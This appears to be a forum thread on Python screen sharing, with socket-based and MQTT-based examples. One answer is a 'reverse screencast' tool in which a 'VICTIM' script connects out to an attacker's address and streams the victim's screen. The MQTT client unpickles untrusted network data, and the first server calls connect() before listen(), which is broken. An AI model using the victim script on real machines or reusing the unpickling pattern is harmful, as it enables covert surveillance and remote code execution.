Screen sharing in python
I just tried and it seems to work pretty well (Python 3). Let me know if you find this acceptable, I am using the MSS module to prevent I/O.
server.py
from socket import socket
from threading import Thread
from zlib import compress
from mss import mss
WIDTH = 1900
HEIGHT = 1000
def retreive_screenshot(conn):
with mss() as sct:
# The region to capture
rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}
while 'recording':
# Capture the screen
img = sct.grab(rect)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 6)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
conn.send(bytes([size_len]))
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
def main(host='0.0.0.0', port=5000):
sock = socket()
sock.connect((host, port))
try:
sock.listen(5)
print('Server started.')
while 'connected':
conn, addr = sock.accept()
print('Client connected IP:', addr)
thread = Thread(target=retreive_screenshot, args=(conn,))
thread.start()
finally:
sock.close()
if __name__ == '__main__':
main()
client.py
from socket import socket
from zlib import decompress
import pygame
WIDTH = 1900
HEIGHT = 1000
def recvall(conn, length):
""" Retreive all pixels. """
buf = b''
while len(buf) < length:
data = conn.recv(length - len(buf))
if not data:
return data
buf += data
return buf
def main(host='127.0.0.1', port=5000):
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
clock = pygame.time.Clock()
watching = True
sock = socket()
sock.connect((host, port))
try:
while watching:
for event in pygame.event.get():
if event.type == pygame.QUIT:
watching = False
break
# Retreive the size of the pixels length, the pixels length and pixels
size_len = int.from_bytes(sock.recv(1), byteorder='big')
size = int.from_bytes(sock.recv(size_len), byteorder='big')
pixels = decompress(recvall(sock, size))
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
# Display the picture
screen.blit(img, (0, 0))
pygame.display.flip()
clock.tick(60)
finally:
sock.close()
if __name__ == '__main__':
main()
You could improve by using another compression algorithm like LZ4, which have a Python implementation. You will need to try out :)
i made a reverse screencast, (a pentesting tool), where the server(victim) will send the data to the client(attacker)
Attacker
import socket
from zlib import decompress
import pygame
WIDTH = 1900
HEIGHT = 1000
def recvall(conn, length):
""" Retreive all pixels. """
buf = b''
while len(buf) < length:
data = conn.recv(length - len(buf))
if not data:
return data
buf += data
return buf
def main(host='192.168.1.208', port=6969):
''' machine lhost'''
sock = socket.socket()
sock.bind((host, port))
print("Listening ....")
sock.listen(5)
conn, addr = sock.accept()
print("Accepted ....", addr)
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
clock = pygame.time.Clock()
watching = True
try:
while watching:
for event in pygame.event.get():
if event.type == pygame.QUIT:
watching = False
break
# Retreive the size of the pixels length, the pixels length and pixels
size_len = int.from_bytes(conn.recv(1), byteorder='big')
size = int.from_bytes(conn.recv(size_len), byteorder='big')
pixels = decompress(recvall(conn, size))
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
# Display the picture
screen.blit(img, (0, 0))
pygame.display.flip()
clock.tick(60)
finally:
print("PIXELS: ", pixels)
sock.close()
if __name__ == "__main__":
main()
VICTIM
import socket
from threading import Thread
from zlib import compress
from mss import mss
import pygame
WIDTH = 1900
HEIGHT = 1000
def retreive_screenshot(conn):
with mss() as sct:
# The region to capture
rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}
while True:
# Capture the screen
img = sct.grab(rect)
# Tweak the compression level here (0-9)
pixels = compress(img.rgb, 6)
# Send the size of the pixels length
size = len(pixels)
size_len = (size.bit_length() + 7) // 8
conn.send(bytes([size_len]))
# Send the actual pixels length
size_bytes = size.to_bytes(size_len, 'big')
conn.send(size_bytes)
# Send pixels
conn.sendall(pixels)
def main(host='192.168.1.208', port=6969):
''' connect back to attacker on port'''
sock = socket.socket()
sock.connect((host, port))
try:
while True:
thread = Thread(target=retreive_screenshot, args=(sock,))
thread.start()
thread.join()
except Exception as e:
print("ERR: ", e)
sock.close()
if __name__ == '__main__':
main()
I was interested in a python based screen sharing set of scripts. I did not care to write the low-level socket code. I recently discovered an interesting messaging broker/server called mosquitto (https://mosquitto.org/) In short, you make a connection to the server and subscribe to topics. When the broker receives a message on the topic you are subscribed to it will send you that message.
Here are two scripts that connect to the mosquitto broker. One script listens for a request for a screen grab. The other script requests screen grabs and displays them.
These scripts rely on image processing modules to do the heavy lifting The process is
- client requests screen
- server is notified that there is a message on a topic for a screen grab
- server grabs screen with mss
- server converts screen to numpy
- server base 64 encodes a compressed pickled numpy image
- server does a delta with the last image if possible
- server publishes the base 64 string to the screen grab topic
- client is notified that there is a message on the screen grab topic
- client reverses the process
- client displays the screen
- client goes back to step 1
Quit the server with a command line message C:\Program Files\mosquitto>mosquitto_pub.exe -h "127.0.0.1" -t "server/quit" -m "0"
This implementation uses delta refreshes. It uses numpy to xor the current and last screen. This really increases the compression ratio. It demonstrates that an offsite server can be used and connected to by many clients who may be interested in a live stream of what is going on on a certain machine. These scripts are definitely not production quality and only serve as a POC.
script 1 - the server
import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle
monitor = 0 # all monitors
quit = False
capture = False
def on_connect(client, userdata, flags, rc):
print("Connected flags " + str(flags) + " ,result code=" + str(rc))
def on_disconnect(client, userdata, flags, rc):
print("Disconnected flags " + str(flags) + " ,result code=" + str(rc))
def on_message(client, userdata, message):
global quit
global capture
global last_image
if message.topic == "server/size":
with mss.mss() as sct:
sct_img = sct.grab(sct.monitors[monitor])
size = sct_img.size
client.publish("client/size", str(size.width) + "|" + str(size.height))
if message.topic == "server/update/first":
with mss.mss() as sct:
b64img = BuildPayload(False)
client.publish("client/update/first", b64img)
if message.topic == "server/update/next":
with mss.mss() as sct:
b64img = BuildPayload()
client.publish("client/update/next", b64img)
if message.topic == "server/quit":
quit = True
def BuildPayload(NextFrame = True):
global last_image
with mss.mss() as sct:
sct_img = sct.grab(sct.monitors[monitor])
image = numpy.array(sct_img)
if NextFrame == True:
# subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
xor_image = image ^ last_image
b64img = base64.b64encode(zlib.compress(pickle.dumps(xor_image), 9))
else:
# first image - less compression than delta
b64img = base64.b64encode(zlib.compress(pickle.dumps(image), 9))
print("Source Image Size=" + str(len(sct_img.rgb)))
last_image = image
print("Compressed Image Size=" + str(len(b64img)) + " bytes")
return b64img
myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_disconnect = on_disconnect
client.on_message = on_message
try:
client.connect("127.0.0.1")
client.loop_start()
client.subscribe("server/size")
client.subscribe("server/update/first")
client.subscribe("server/update/next")
client.subscribe("server/quit")
while not quit:
time.sleep(5)
continue
client.publish("client/quit")
time.sleep(5)
client.loop_stop()
client.disconnect()
except:
print("Could not connect to the Mosquito server")
script 2 - the client
import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle
quit = False
size = False
capture = False
width = 0
height = 0
last_image = None
first = False
def on_connect(client, userdata, flags, rc):
print("Connected flags " + str(flags) + " ,result code=" + str(rc))
def on_message(client, userdata, message):
global quit
global size
global capture
global width
global height
global last_image
global first
if message.topic == "client/size":
if width == 0 and height == 0:
strsize = message.payload.decode("utf-8")
strlist = strsize.split("|")
width = int(strlist[0])
height = int(strlist[1])
size = True
if message.topic == "client/update/first":
# stay synchronized with other connected clients
if size == True:
DecodeAndShowPayload(message, False)
first = True
if message.topic == "client/update/next":
# stay synchronized with other connected clients
if size == True and first == True:
DecodeAndShowPayload(message)
if message.topic == "client/quit":
quit = True
def DecodeAndShowPayload(message, NextFrame = True):
global last_image
global capture
global quit
if NextFrame == True:
# subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
xor_image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
image = last_image ^ xor_image
else:
# first image - less compression than delta
image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
last_image = image
cv2.imshow("Server", image)
if cv2.waitKeyEx(25) == 113:
quit = True
capture = False
myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_message = on_message
try:
client.connect("127.0.0.1")
client.loop_start()
client.subscribe("client/size")
client.subscribe("client/update/first")
client.subscribe("client/update/next")
client.subscribe("client/quit")
# ask once and retain in case client starts before server
asksize = False
while not size:
if not asksize:
client.publish("server/size", "1", 0, True)
asksize = True
time.sleep(1)
first_image = True
while not quit:
if capture == False:
capture = True
if first_image:
client.publish("server/update/first")
first_image = False
else:
client.publish("server/update/next")
time.sleep(.1)
cv2.destroyAllWindows()
client.loop_stop()
client.disconnect()
except:
print("Could not connect to the Mosquito server")
Sample output showing compression ex: Source is 18,662,400 Bytes (3 screens) A compressed image is as small as 35,588 Bytes which is 524 to 1